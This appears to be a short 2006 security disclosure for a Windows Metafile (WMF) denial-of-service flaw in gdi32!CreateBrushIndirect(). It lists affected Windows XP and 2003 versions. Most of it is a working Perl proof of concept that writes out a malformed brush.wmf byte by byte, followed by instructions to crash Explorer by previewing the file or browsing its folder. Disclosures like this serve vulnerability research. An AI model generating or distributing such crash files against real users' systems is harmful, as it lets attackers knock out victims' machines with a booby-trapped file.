Description:

yet another 'windows meta file' (WMF) denial of service exploit.

System affected:

+ Windows XP SP2,
+ Windows 2003 SP1,
+ Windows XP SP1,
+ Windows XP
+ Windows 2003

Tech info:

page fault in gdi32!CreateBrushIndirect() because invalid pointer access.
Incorrect (short) to (void*) sign extension also present.

Exploit:

=== begin of brush.pl ===
#!/usr/bin/perl

print "\nWMF PoC denial of service exploit by cyanid-E <biz4rre\@gmail.com>";
print "\n\ngenerating brush.wmf...";
open(WMF, ">./brush.wmf") or die "cannot create wmf file\n";
print WMF "\x01\x00\x09\x00\x00\x03\x22\x00\x00\x00\x63\x79\x61\x6E\x69\x64";
print WMF "\x2D\x45\x07\x00\x00\x00\xFC\x02\x00\x00\x00\x00\x00\x00\x00\x00";
print WMF "\x08\x00\x00\x00\xFA\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
print WMF "\x07\x00\x00\x00\xFC\x02\x08\x00\x00\x00\x00\x00\x00\x80\x03\x00";
print WMF "\x00\x00\x00\x00";
close(WMF);
print "ok\n\nnow try to browse folder in XP explorer and wait :)\n";
=== end of brush.pl ===

Just run brush.pl and try to preview brush.wmf (or even browse folder
with brush.wmf in windows explorer).

Discovered:

06/24/2006; vendor informed but not answered